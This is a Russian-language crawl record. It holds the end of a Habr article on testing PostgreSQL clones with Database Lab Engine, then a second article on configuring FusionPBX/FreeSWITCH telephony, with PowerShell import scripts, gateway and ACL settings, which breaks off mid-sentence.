--env-file=.env -p dletest -f docker-compose.yml build dle docker-compose --env-file=.env -p dletest -f docker-compose.yml up -d dle docker-compose --env-file=.env -p dletest -f docker-compose.yml logs -f dle ``` #### Проверка стенда После запуска у нас появятся контейнеры `dletest-dle-1` и `dblab_phr_ccq5nieficds73d508u0`, потом `dblab_phr_ccq5nieficds73d508u0` сменится `dblab_promote_ccq5nieficds73d508u0` и останется только `dblab_sync_ccq5nieficds73d508u0` и `dletest-dle-1`. Вместо`ccq5nieficds73d508u0` у каждого будет свой уникальный идентификатор инстанса. Это нормальная работа. DLE вытащил резервную копию, запустил на её основе новый инстанс, сделал его репликой и стал применять новые журналы из S3. Если посмотреть лог DLE (`docker-compose --env-file=.env -p dletest -f docker-compose.yml logs -f dle`), то там будет видно, как применяется файл `conf/dle/test1/engine/configs/preprocessing/01.sql`, в котором прописано переименование БД `demo` в `demo_renamed`. ``` dletest-dle-1 | 2022/09/28 14:36:08 queryPreprocessor.go:138: [INFO] Run psql command [psql -U postgres -d postgres --file /home/dblab/configs/preprocessing/01.sql] dletest-dle-1 | 2022/09/28 14:36:08 queryPreprocessor.go:61: [INFO] Run SQL: /home/dblab/configs/preprocessing/01.sql dletest-dle-1 | ALTER DATABASE dletest-dle-1 | 2022/09/28 14:36:08 tools.go:278: [INFO] Run checkpoint command [psql -U postgres -d postgres -XAtc checkpoint] dletest-dle-1 | 2022/09/28 14:36:08 tools.go:290: [INFO] Checkpoint result: CHECKPOINT ``` Если произошли какие-то ошибки, то в логе можно увидеть что именно произошло. Теперь заходим на `http://${LOCAL_IP}:8008`. Произойдёт редирект на Keycloak (`http://${LOCAL_IP}:8080`). Вводим логин и пароль (dg-admin/dg-admin). Снова редирект на DLE GUI. Мы должны увидеть такую картину ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/0aa/d2e/16a/0aad2e16aa2bbf3389cca3a8d33e8c83.png)Теперь можно создать пару клонов под пользователями `dg-user1` и `dg-user2`, сделать в одном изменения, убедиться, что на другом клоне это никак не отразилось. Также видно, что у каждого пользователя в списке только свои клоны, чужих он не видит. Зайдём в Keycloak (`http://${LOCAL_IP}:8080`), авторизуемся под `${ADMIN_USER}` и `${ADMIN_PASSWORD}` и добавим пользователя `dg-user1` в группу `Viewers` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1c8/2db/c36/1c82dbc365196817ac56e35366d9e5cb.png)После этого `dg-user1` должен увидеть в списке клоны, созданные пользователем `dg-user2`. Если же попробовать выполнить какие-либо операции над чужими клонами, кто произойдёт ошибка. До версии 2.5, при перезапуске или обновлении DLE, удалялись все клоны, что было очень неудобно, если клоны должны быть долгоживущими. После 2.5 состояния и настройки клонов стали сохраняться, что позволяет обновлять DLE без потери созданных клонов. Если нужно изменить настройки DLE, то после изменения файла конфигурации нужно либо перезапустить контейнер, либо выполнить команду ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml exec dle kill -SIGHUP 1 ``` Это заставит DLE перечитать конфигурацию. После выхода 3-й версии стало возможным не удаляя контейнер изменить снимок. Фактически создаётся новый контейнер, но со старыми настройками. Если какое-то ПО настроено на определённый клон, таким образом можно обновлять данные в БД, не теряя настроек. Если, конечно, приложение сможет пережить смену БД или её структуры. Чтобы продемонстрировать, как обновляются данные в DLE, зайдём в один из созданных клонов и посмотрим какие БД там есть. В моём примере клон имеет запущен по порту 6003. Обратите на это внимание при подключении. ``` $ docker run --rm --name pg-tmp -it postgres:14.5 psql "host=192.168.144.138 port=6003 user=admin dbname=postgres" Password for user admin: psql (14.5) Type "help" for help. postgres=# \l+ List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges | Size | Tablespace | Description --------------+----------+----------+-------------+-------------+-----------------------+---------+------------+-------------------------------------------- demo_renamed | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | | 281 MB | pg_default | dlegui | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | | 9609 kB | pg_default | keycloak | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | | 13 MB | pg_default | postgres | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | | 8553 kB | pg_default | default administrative connection database template0 | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | =c/postgres +| 8401 kB | pg_default | unmodifiable empty database | | | | | postgres=CTc/postgres | | | template1 | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | =c/postgres +| 8401 kB | pg_default | default template for new databases | | | | | postgres=CTc/postgres | | | (6 rows) postgres=# ``` У нас пока есть только 1 снимок и клон создан на его основе. Внесём изменения в БД-источник. Обратите внимание на параметры подключения. 192.168.144.114 - это ${LOCAL\_IP}. ``` $ docker run --rm --name pg-tmp -it postgres:14.5 psql "host=192.168.144.114 port=5432 user=postgres dbname=postgres" Password for user postgres: psql (14.5) Type "help" for help. postgres=# CREATE DATABASE demo2 OWNER keycloak; CREATE DATABASE postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+-------------+-------------+----------------------- demo | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | demo2 | keycloak | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | dlegui | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | keycloak | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | postgres | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | template0 | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (7 rows) postgres=# \c demo2 You are now connected to database "demo2" as user "postgres". ``` Мы создали новую БД `demo2`. Создадим в ней одну таблицу и заполним её сотней строк. ``` CREATE TABLE DOCUMENT_TEMPLATE( ID INTEGER NOT NULL, NAME TEXT, SHORT_DESCRIPTION TEXT, AUTHOR TEXT, DESCRIPTION TEXT, CONTENT TEXT, LAST_UPDATED DATE, CREATED DATE ); INSERT INTO DOCUMENT_TEMPLATE(id,name, short_description, author, description,content, last_updated,created) SELECT id, 'name', md5(random()::text), 'name2' ,md5(random()::text),md5(random()::text) ,NOW() - '1 day'::INTERVAL * (RANDOM()::int * 100) ,NOW() - '1 day'::INTERVAL * (RANDOM()::int * 100 + 100) FROM generate_series(1,100) id; ``` ``` demo2=# select count(*) from DOCUMENT_TEMPLATE; count ------- 100 (1 row) demo2=# ``` ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml restart dle docker-compose --env-file=.env -p dletest -f docker-compose.yml logs -f dle ``` Когда появятся строки ``` dletest-dle-1 | 2022/09/28 16:14:02 runners.go:106: [DEBUG] Run(Local): "zfs snapshot -r dblab_pool_test1/clone_pre_20220928160300@snapshot_20220928161352" dletest-dle-1 | 2022/09/28 16:14:02 runners.go:151: [DEBUG] Run(Local): output "" dletest-dle-1 | 2022/09/28 16:14:02 runners.go:106: [DEBUG] Run(Local): "zfs set dblab:datastateat="20220928161352" dblab_pool_test1/clone_pre_20220928160300@snapshot_20220928161352" dletest-dle-1 | 2022/09/28 16:14:02 runners.go:151: [DEBUG] Run(Local): output "" dletest-dle-1 | 2022/09/28 16:14:02 zfs.go:335: [DEBUG] New snapshot: {dblab_pool_test1/clone_pre_20220928160300@snapshot_20220928161352 2022-09-28 16:14:02.234017346 +0000 UTC m=+661.978728658 2022-09-28 16:13:52 +0000 UTC 0 0 dblab_pool_test1} dletest-dle-1 | 2022/09/28 16:14:02 physical.go:448: [INFO] Snapshot scheduler has been started ``` новый снимок готов. Создаём клон на основе нового снимка и смотрим что внутри ``` $ docker run --rm --name pg-tmp -it postgres:14.5 psql "host=192.168.144.138 port=6004 user=admin dbname=postgres" Password for user admin: psql (14.5) Type "help" for help. postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges --------------+----------+----------+-------------+-------------+----------------------- demo2 | keycloak | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | demo_renamed | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | dlegui | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | keycloak | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | postgres | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | template0 | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | ru_RU.UTF-8 | ru_RU.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (7 rows) postgres=# \c demo2 You are now connected to database "demo2" as user "admin". demo2=# select count(*) from document_template; count ------- 100 (1 row) ``` Новая база с таблицей и данными есть. В старых же клонах всё осталось как было. Если создать новый клон на первом снимке, то там так же не будет БД demo2. #### Заключение Таким образом можно безопасно проводить любые тесты и эксперименты с БД. Есть ещё один подводный камень, с которым мы столкнулись не так давно, переведя управление PotgreSQL на Patroni. При смене мастера меняется timeline в БД и эталон не всегда корректно обрабатывал эту ситуацию. В какой-то момент, когда timeline сменился, эталон перестал подтягивать новые журналы из S3 и выдал ошибку. После разбора полётов оказалось, что в образе Extended PostgreSQL, который собирался достаточно давно, был зашит WAL-G версии 0.2.19, а резервная копия на сервере-источнике делалась версией WAL-G 2.0.0. WAL-G 0.2.19 корректно восстанавливал полную резервную копию от WAL-G версии 2.0.0, а вот на дифференциальной уже выдавал ошибку. И с восстановлением журналов, по всей видимости, тоже было не всё гладко по этой же причине. После обновления WAL-G в образе Extended PostgreSQL мы пробовали менять timeline на источнике, но эталон больше не ругался. Также хочу добавить, что в версии DLE 4 должен появиться функционал создания снимков по требованию, что позволит не ждать очередной итерации планировщика, а сразу начать работу с самыми свежими данными. Надеюсь статья будет полезна коллегам по цеху. Те, кто не знал про DLE - начнут его использовать, те же, кто знает и использует, возможно, почерпнут для себя что-то новое.
https://habr.com/ru/post/700368/
null
ru
null
# FusionPBX, или снова-здорово, FreeSWITCH #### В ту же реку Относительно недавно я написал себе [шпаргалку](https://habrahabr.ru/post/348458/) по настройке FreeSWITCH. Описанный там процесс настройки привел к работоспособной в тестовых условиях конфигурации. Тест был необходим для составления предварительного представления о том, с чем придется иметь дело после переезда организации и запуске телефонии в продакшн. Однако, когда переезд состоялся и началось подключение в рабочем режиме, то первое же включение показало неработоспособность конфигурации: перестали ходить внутренние вызовы. Это стало для меня полнейшим сюрпризом, поскольку с момента финальной настройки и проверки работоспособности, по мотивам которой была написана шпаргалка, по момент включения в рабочем режиме никаких изменений в конфиг не вносилось. Были лишь массово добавлены внутренние номера и маршруты для входящих и исходящих вызовов для тех сотрудников, за кем были закреплены прямые городские номера (порядка 60 с хвостиком номеров). Был проведен дебаг, выявлен косяк, и все заработало. Однако, осталось ощущение костыля. Описывать его не стану, поскольку пребываю в уверенности, что примененное решение не верное, хоть и привело к искомому результату. Кроме того, выяснились нюансы: при исходящих вызовах изнутри наружу определялся только тот номер, что был указан в настройке SIP-транка в поле *default\_provider\_username*: а не тот, что указан в конфигурации абонентского номера: Техподдержка провайдера сообщила, что все вызовы, прилетающие к ним от нас, в поле *From* имеют именно номер *3435555555*, то есть косяк на моей стороне. Плюс ко всему, я вдруг совершенно завис с задачей переадресации вызовов. А вишенкой на торте стал вынос мозга аппаратами Ericsson Dialog 4422, отказавшимися выполнять трансфер вызова, и аппаратами Cisco 7945g, решившими, что их предел длительности соединения составляет 90-100 секунд при отсутствии малейшего намека на подобную настройку в конфиге. В то же время аппараты Yealink T21 E2 работали полностью без нареканий. На этом этапе я осознал, что достиг предела своей компетенции в области телефонии и взял тайм-аут на то, чтобы все в голове утряслось и уложилось. Этому решению так же очень могуче способствовало общее утомление после совершенно диких двух рабочих недель без выходных и с ненормированным рабочим графиком, которые последовали сразу после заезда на новое место размещения организации. #### FusionPBX Не смотря на отсутствие у меня симпатий к графическим интерфейсам там, где правит бал консоль и текстовые конфиги, я все же стал смотреть в сторону решения с веб-мордой, именуемого FusionPBX. Первой причиной такой измены собственным принципам стало желание видеть весь объем настроек по каждому функциональному элементу, собранных в одном месте в виде работоспособной «из коробки» конфигурации. Именно такую возможность дает графический интерфейс. Дополнительным бонусом продуманного графического интерфейса является наглядное представление взаимосвязей между модулями и функциями. Для новичка (лично для меня) меньший уровень абстракции с конкретным способом реализации способствует более быстрому обучению и приходу к понимаю того, как эта штука работает. Второй причиной стал [www.pbxforums.com](http://www.pbxforums.com), на который я попадал по ссылке через одну при поиске информации по FreeSWITCH, и попадал по иронии судьбы именно на скриншоты страниц настроек FusionPBX. FusionPBX это FreeSWITCH с веб-мордой и с настройками, хранящимися в базе данных. Скрипт автоматической установки выполняет установку и FreeSWITCH'а, и Nginx'а, и PostgreSQL, и, собственно, веб-интерфейса самого FusionPBX. Останавливаться на этом моменте не стану, все без запинок ставится по инструкции из документации. Ставил все на рекомендуемую разработчиками 64-битную Debian 8. **Импорт абонентских номеров** Здесь не будет рассматриваться процесс настройки абонентских номеров и входящих маршрутов. Этот процесс описан в официальной документации. Вместо него будет описана процедура импорта всего скопом. Описаний, мануалов и советов по выполнению данной процедуры мною найдено не было. По окончании установки включаем автоматический вход в Adminer (аналог phpMyAdmin): ***Advanced→Default settings***: > `**auto\_login** > > **Value**: true > > **Enabled**: true` После изменения значений на текущей странице нажимаем **Save**, на странице настроек по умолчанию **Reload**. Переходим в Adminer: ***Advanced→Adminer***. Интерес для нас представляют следующие таблицы: *v\_extensions* — абонентские номера. *v\_destinations* — маршруты для входящих вызовов на городские номера, закрепленные за внутренними абонентскими номерами. *v\_dialplans* — справочник диалпланов. *v\_dialplan\_details* — настройки диалпланов входящих вызовов. *v\_voicemails* — настройки голосовой почты. Формулировка задачи была следующей: выгрузить из AD ФИО сотрудников и их номера внутренних телефонов, сохранить выгрузку в CSV-файл и импортировать его в БД в таблицу абонентских номеров и настроек голосовой почты (голосовая почта должна быть отключена). Используя справочник соответствия городских номеров внутренним, создать CSV-файлы для импорта в таблицы с маршрутами и диалпланами входящих вызовов. Я не стану подробно рассматривать эту задачу, просто спрячу готовые скрипты под спойлер. > **Внимание!** > > > > Предлагаемые скрипты вы используете на свой страх и риск, автор не несет ответственности за их неправильное использование или неожиданные побочные эффекты их правильного использования. > > > > * Присвойте переменной *$nums* значения, соответствующие вашим номерам. > * Перед использованием скриптов необходимо везде заменить UUID домена на значение, присвоенное домену при установке (поле *domain\_uuid*). > * Так же необходимо заменить IP-адрес домена (172.18.253.1) на ваш. > * Не забудьте откорректировать значение ключа *-SearchBase*, указав свою область выборки вместо *«OU=Ekaterinburg,DC=dc,DC=domain,DC=local»* > * UUID приложения *Voicemail* (поле *app\_uuid*) так же заменить на UUID, присвоенный при установке. > * Значения UUID'ов можно посмотреть, например, в таблице *v\_dialplans*. > * Всем абонентским номерам будет присвоен пароль для регистрации «12345», пароль на голосовую почту и прочие сервисы — совпадающий с абонентским номером. > * Скрипт дописывает файлы построчно! Поэтому не забывайте удалять файлы перед каждым запуском скрипта или очищать их содержимое! > > . **Абонентские номера и голосовая почта** ``` $Utf8NoBomEncoding = New-Object System.Text.UTF8Encoding $False $nums=@{"1111"="5555555";"1112"="5555566"} [System.IO.File]::AppendAllText("d:\v_extensions.csv", "extension_uuid;domain_uuid;extension;number_alias;password;accountcode;effective_caller_id_name;effective_caller_id_number;outbound_caller_id_name;outbound_caller_id_number;emergency_caller_id_name;emergency_caller_id_number;directory_full_name;directory_visible;directory_exten_visible;limit_max;limit_destination;missed_call_app;missed_call_data;user_context;toll_allow;call_timeout;call_group;call_screen_enabled;user_record;hold_music;auth_acl;cidr;sip_force_contact;nibble_account;sip_force_expires;mwi_account;sip_bypass_media;unique_id;dial_string;dial_user;dial_domain;do_not_disturb;forward_all_destination;forward_all_enabled;forward_busy_destination;forward_busy_enabled;forward_no_answer_destination;forward_no_answer_enabled;follow_me_uuid;enabled;description;forward_caller_id_uuid;absolute_codec_string;forward_user_not_registered_destination;forward_user_not_registered_enabled;force_ping`r`n", $Utf8NoBomEncoding) [System.IO.File]::AppendAllText("d:\v_voicemails.csv", "domain_uuid;voicemail_uuid;voicemail_id;voicemail_password;greeting_id;voicemail_alternate_greet_id;voicemail_mail_to;voicemail_sms_to;voicemail_attach_file;voicemail_file;voicemail_local_after_email;voicemail_enabled;voicemail_description;voicemail_name_base64`r`n", $Utf8NoBomEncoding) Get-ADUser -Filter * -SearchBase "OU=Ekaterinburg,DC=dc,DC=domain,DC=local" -Properties Telephonenumber,sn,initials,cn|%{ if(-not $_.Telephonenumber -eq ""){ if($nums.Get_Item($_.Telephonenumber) -eq $null) {$outn = "5555555"} else {$outn = $nums.Get_Item($_.Telephonenumber)} $extension_uuid = (New-Guid).Tostring() $domain_uuid = "ffffffff-ffff-ffff-ffff-ffffffffffff" ## Заменить!!! $extension = $_.Telephonenumber $number_alias = "" $password = "12345" $accountcode = "172.18.253.1" $effective_caller_id_name = $_.sn + " " + $_.initials $effective_caller_id_number = $extension $outbound_caller_id_name = $outn $outbound_caller_id_number = $outn $emergency_caller_id_name = $effective_caller_id_name $emergency_caller_id_number = $extension $directory_full_name = $_.cn $directory_visible = "true" $directory_exten_visible = "true" $limit_max = "1" $limit_destination = "error/user_busy" $missed_call_app = "" $missed_call_data = "" $user_context = "172.18.253.1" $toll_allow = "domestic,international,local" $call_timeout = "30" $call_group = "" $call_screen_enabled = "false" $user_record = "" $hold_music = "local_stream://default" $auth_acl = "" $cidr = "" $sip_force_contact = "" $nibble_account = "" $sip_force_expires = "3600" $mwi_account = "" $sip_bypass_media = "" $unique_id = "" $dial_string = "" $dial_user = "" $dial_domain = "" $do_not_disturb = "" $forward_all_destination = "" $forward_all_enabled = "" $forward_busy_destination = "" $forward_busy_enabled = "" $forward_no_answer_destination = "" $forward_no_answer_enabled = "" $follow_me_uuid = "" $enabled = "true" $description = $_.sn + " " + $_.initials $forward_caller_id_uuid = "" $absolute_codec_string = "" $forward_user_not_registered_destination = "" $forward_user_not_registered_enabled = "" $force_ping = "" $csv="$extension_uuid;$domain_uuid;$extension;$number_alias;$password;$accountcode;$effective_caller_id_name;$effective_caller_id_number;$outbound_caller_id_name;$outbound_caller_id_number;$emergency_caller_id_name;$emergency_caller_id_number;$directory_full_name;$directory_visible;$directory_exten_visible;$limit_max;$limit_destination;$missed_call_app;$missed_call_data;$user_context;`"$toll_allow`";$call_timeout;$call_group;$call_screen_enabled;$user_record;$hold_music;$auth_acl;$cidr;$sip_force_contact;$nibble_account;$sip_force_expires;$mwi_account;$sip_bypass_media;$unique_id;$dial_string;$dial_user;$dial_domain;$do_not_disturb;$forward_all_destination;$forward_all_enabled;$forward_busy_destination;$forward_busy_enabled;$forward_no_answer_destination;$forward_no_answer_enabled;$follow_me_uuid;$enabled;$description;$forward_caller_id_uuid;$absolute_codec_string;$forward_user_not_registered_destination;$forward_user_not_registered_enabled;`"$force_ping`"`r`n" [System.IO.File]::AppendAllText("d:\v_extensions.csv", $csv, $Utf8NoBomEncoding) $voicemail_uuid = (New-Guid).Tostring() $voicemail_id = $extension $voicemail_password = $extension $greeting_id $voicemail_alternate_greet_id $voicemail_mail_to = "" $voicemail_sms_to $voicemail_attach_file $voicemail_file = "" $voicemail_local_after_email = "true" $voicemail_enabled = "false" $voicemail_description = $description $voicemail_name_base64 [System.IO.File]::AppendAllText("d:\v_voicemails.csv", "$domain_uuid;$voicemail_uuid;$voicemail_id;$voicemail_password;$greeting_id;$voicemail_alternate_greet_id;$voicemail_mail_to;$voicemail_sms_to;$voicemail_attach_file;$voicemail_file;$voicemail_local_after_email;$voicemail_enabled;$voicemail_description;$voicemail_name_base64`r`n", $Utf8NoBomEncoding)}} ``` **Маршруты и диалпланы** ``` $Utf8NoBomEncoding = New-Object System.Text.UTF8Encoding $False [System.IO.File]::AppendAllText("d:\v_destinations.csv", "domain_uuid;destination_uuid;dialplan_uuid;fax_uuid;destination_type;destination_number;destination_number_regex;destination_caller_id_name;destination_caller_id_number;destination_cid_name_prefix;destination_context;destination_app;destination_data;destination_enabled;destination_description;destination_accountcode`r`n", $Utf8NoBomEncoding) [System.IO.File]::AppendAllText("d:\v_dialplans.csv", "domain_uuid;dialplan_uuid;app_uuid;dialplan_context;dialplan_name;dialplan_number;dialplan_continue;dialplan_order;dialplan_enabled;dialplan_description`r`n", $Utf8NoBomEncoding) [System.IO.File]::AppendAllText("d:\v_dialplan_details.csv", "domain_uuid;dialplan_uuid;dialplan_detail_uuid;dialplan_detail_tag;dialplan_detail_type;dialplan_detail_data;dialplan_detail_break;dialplan_detail_inline;dialplan_detail_group;dialplan_detail_order`r`n", $Utf8NoBomEncoding) $nums="1111=5555555;1112=5555566" $nums.Split(";")|%{ $innum = $_.Split("=")[0] $outnum = $_.Split("=")[1] $domain_uuid = "ffffffff-ffff-ffff-ffff-ffffffffffff" ## Заменить!!! $destination_uuid = (New-Guid).Tostring() $dialplan_uuid = (New-Guid).Tostring() $fax_uuid $destination_type = "inbound" $destination_number = "343$outnum" $destination_number_regex = "^(343$outnum)$" $destination_caller_id_name $destination_caller_id_number $destination_cid_name_prefix $destination_context = "public" $destination_app $destination_data $destination_enabled = "true" $destination_description = "$outnum-$innum" $destination_accountcode [System.IO.File]::AppendAllText("d:\v_destinations.csv", "$domain_uuid;$destination_uuid;$dialplan_uuid;$fax_uuid;$destination_type;$destination_number;$destination_number_regex;$destination_caller_id_name;$destination_caller_id_number;$destination_cid_name_prefix;$destination_context;$destination_app;$destination_data;$destination_enabled;$destination_description;$destination_accountcode`r`n", $Utf8NoBomEncoding) $app_uuid = "ffffffff-ffff-ffff-ffff-ffffffffffff" ## Заменить!!! $dialplan_context = "public" $dialplan_name = $destination_number $dialplan_number = $destination_number $dialplan_continue = "false" $dialplan_order = "100" $dialplan_enabled = "true" $dialplan_description = $destination_description [System.IO.File]::AppendAllText("d:\v_dialplans.csv", "$domain_uuid;$dialplan_uuid;$app_uuid;$dialplan_context;$dialplan_name;$dialplan_number;$dialplan_continue;$dialplan_order;$dialplan_enabled;$dialplan_description`r`n", $Utf8NoBomEncoding) $dialplan_detail_break $dialplan_detail_inline $dialplan_detail_group $dialplan_detail_uuid = (New-Guid).Tostring() $dialplan_detail_tag = "condition" $dialplan_detail_type = "destination_number" $dialplan_detail_data = "^(343$outnum)$" $dialplan_detail_order = 20 [System.IO.File]::AppendAllText("d:\v_dialplan_details.csv", "$domain_uuid;$dialplan_uuid;$dialplan_detail_uuid;$dialplan_detail_tag;$dialplan_detail_type;$dialplan_detail_data;$dialplan_detail_break;$dialplan_detail_inline;$dialplan_detail_group;$dialplan_detail_order`r`n", $Utf8NoBomEncoding) $dialplan_detail_uuid = (New-Guid).Tostring() $dialplan_detail_tag = "action" $dialplan_detail_type = "transfer" $dialplan_detail_data = "$innum XML 172.18.253.1" $dialplan_detail_order = 30 [System.IO.File]::AppendAllText("d:\v_dialplan_details.csv", "$domain_uuid;$dialplan_uuid;$dialplan_detail_uuid;$dialplan_detail_tag;$dialplan_detail_type;$dialplan_detail_data;$dialplan_detail_break;$dialplan_detail_inline;$dialplan_detail_group;$dialplan_detail_order`r`n", $Utf8NoBomEncoding) } ``` Проверка связи на рандомно выбранные номера показала работоспособность импорта. **Настройка шлюза** ***Accounts→Gateways*** > `**Gateway**: 172.16.253.3 > > **Username**: 3435555555 > > **Password**: not-used > > **From User**: 3435555555 > > **From Domain**: 172.16.253.3 > > **Proxy**: 172.16.253.3 > > **Register**: False > > **Caller ID In From**: True` Обратите внимание! > В документации по FusionPBX недвусмысленно указывается, что при выполнении настроек поля, выделенные жирным текстом, обязательны для заполнения. > > Однако я, по непонятной мне причине, жирность поля **Proxy** не углядел и значение ему не выставил. В итоге получил работающие входящие внешние вызовы, но не работающие исходящие наружу. Команда `sofia status gateway ffffffff-ffff-ffff-ffff-ffffffffffff` не показывала аномалий настройки и даже показывала назначенное значение поля **Proxy**, соответствующее значению **Gateway**. Точно такой же вывод команды при точно таких же настройках демонстрировал «голый» FreeSWITCH в предыдущей инсталляции, и при этом совершенно беспроблемно позволял совершать исходящие вызовы наружу. > > FusionPBX же заработал только после **явного указания значения Proxy**. > > *\*`ffffffff-ffff-ffff-ffff-ffffffffffff` — UUID шлюза* > > **Настройка ACL** Выполнил настройки в соответствии со шпаргалкой и тут же получил сломавшиеся внутренние вызовы. Логи показывали, что аппараты почему-то оказались в контексте *external*, соответственно, обрабатывались «не своим» диалпаном, от чего вызов завершался ошибкой ROUTE\_NOT\_FOUND. **Лирическое отступление**Юмор ситуации заключался еще и в том, что эта «беда» стряслась у меня до того, как я обнаружил обязательность заполнения поля **Proxy** в настройках шлюза. И стоило мне настроить ACL, как начинали приходить вызовы снаружи, но ломались внутренние. И как я ни играл с применением ACL и с их значениями, итог был один: или звонки снаружи внутрь, или внутренние звонки без звонков изнутри наружу и снаружи внутрь. Как выяснилось, настройка ACL была выполнена неправильно! > **Важно!** > > > > ACL-списки **только** для сетей и доменов провайдеров. > > Ваших собственных сетей и доменов в них быть **не должно**. > > Список ***domains*** должен быть по умолчанию **deny**. > > Сами правила должны быть разрешающими и в них должен быть прописан IP-адрес шлюза провайдера с маской /32, поле *domain* заполнять не нужно. Итак, выполняем настройку ACL: ***Advanced→Access Controls→domains***. Удаляем существующие правила, создаем новое: > `**Type**: allow > > **CIDR**: 172.16.253.3/32 > > **Domain**: > > **Description**: default SIP-trunk` По окончании жмем **Save**, далее чтобы новые ACL вошли в силу: ***Status→Sip Status*** и жмем **Reload ACL**. **Системные переменные** ***Advanced→Default Settings*** Здесь мы укажем выданный нам провайдером внешний IP-адрес, который мы использовали при настройке 1:1 NAT в шпаргалке, укажем телефонный код региона, язык и голос для голосовых ответов, тип гудка. Раздел **Defaults**: > `**default\_areacode**: 343 > > **default\_language**: ru > > **default\_dialect**: RU > > **default\_voice**: elena > > **ringback**: $${ru-ring} > > **transfer\_ringback**: $${ru-ring}` Раздел **IP Address** > `**external\_rtp\_ip**: 172.16.160.154 > > **external\_sip\_ip**: 172.16.160.154` Раздел **SIP Profile: Internal** > `**internal\_auth\_calls**: true` Собственно говоря, именно эта переменная в значении *true* отвечает за считывание настроек абонентского номера и передачу из него значений *${outbound\_caller\_id\_number}* и *${outbound\_caller\_id\_name}*. Чтобы эта переменная имела силу, необходимо, чтобы была отключена авторизация внутренних абонентских номеров по ACL. По умолчанию, из коробки, это сделано и так: ACL-авторизация отсутствует, вместо нее используется Digest (по абонентскому номеру и паролю): `**internal\_auth\_calls**: true`. > **Важно!** > > > > Чтобы корректно определялись прямые городские номера, присвоенные внутренним в настройках через поля *Outbound Caller ID Name* и *Outbound Caller ID Number*, необходимо выполнение трех условий: > > 1. Отсутствие ACL-авторизации внутренних абонентов > 2. Включенная Digest-авторизация в настройках SIP-профиля: > > `**internal\_auth\_calls**: true` > 3. Наличие в настройках шлюза: > > `**Caller ID In From**: True` > **Исходящие маршруты** ***Dialplan→Outbound Routes*** Пожалуй, это единственный пункт настроек, не подвергшийся переосмыслению. Подробно разбирать его не стану. Отмечу лишь, что были использованы следующие регулярные выражения для различных направлений: * Внутригород: `^(\d{7})$` (набор прямого городского 7-значного номера без всяких префиксов в виде нулей, девяток и прочего). * Внутригород с кодом города: `^(8343\d{7})$` (набор городского 7-значного номера с префиксом 8343). * Сотовые: `^(89\d{9})$` (звонок на сотовый с префиксом 8, что является стандартом де-факто) * Межгород: `^(8\d{10})$` (междугородний звонок, так же привычные: 8, код населенного пункта, номер абонента) * Международный: `^(810\d+)$` (стандартный же префикс 810, далее код страны, код территории, номер абонента). Для всех маршрутов было отредактированы два тега *action* типа *set*: `effective_caller_id_name=${default\_areacode}${outbound_caller_id_name}` `effective_caller_id_number=${default\_areacode}${outbound_caller_id_number}` таким образом, чтобы передаваемый оператору номер вызывающего абонента включал в себя код города. **Лечим сброс вызова через 90-100 секунд на аппаратах Cisco** Как было отмечено выше, сюрпризом стал обрыв установленного соединения через 90-100 секунд на всех аппаратах Cisco 7945g. Подкручивание всех таймеров с более или менее релевантным названием переменной в конфиге аппаратов результата не дало. Курение логов в консоли FreeSWITCH выявило Session Expire. Гуглинг, кроме матов в сторону нежелания аппаратов Cisco нормально работать хоть с кем-то, кроме Call Manager'а, выявил, что такое поведение вполне может быть вылечено отключением переменной `**aggressive-nat-detection**`. ***Advanced→SIP Profile*** > `**aggressive-nat-detection** > > **Value**: true > > **Enabled**: False` **Русификация голосового отклика** Нам потребуются файлы озвучки, созданные альтруистичными профессионалами. Качаем: [files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-48000-1.0.51.tar.gz](http://files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-48000-1.0.51.tar.gz) [files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-32000-1.0.51.tar.gz](http://files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-32000-1.0.51.tar.gz) [files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-16000-1.0.51.tar.gz](http://files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-16000-1.0.51.tar.gz) [files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-8000-1.0.51.tar.gz](http://files.freeswitch.org/releases/sounds/freeswitch-sounds-ru-RU-elena-8000-1.0.51.tar.gz) Каждый из архивов содержит готовую структуру каталогов. Каждый из архивов распаковываем в */usr/share/freeswitch/sound/* Поскольку ранее мы уже выполнили настройку значений по умолчанию, с этого момента файлы русской озвучки подхватятся и начнут воспроизводиться без дополнительных движений. Единственное, что вам, возможно, придется сделать (мне пришлось), так это во всех четырех папках 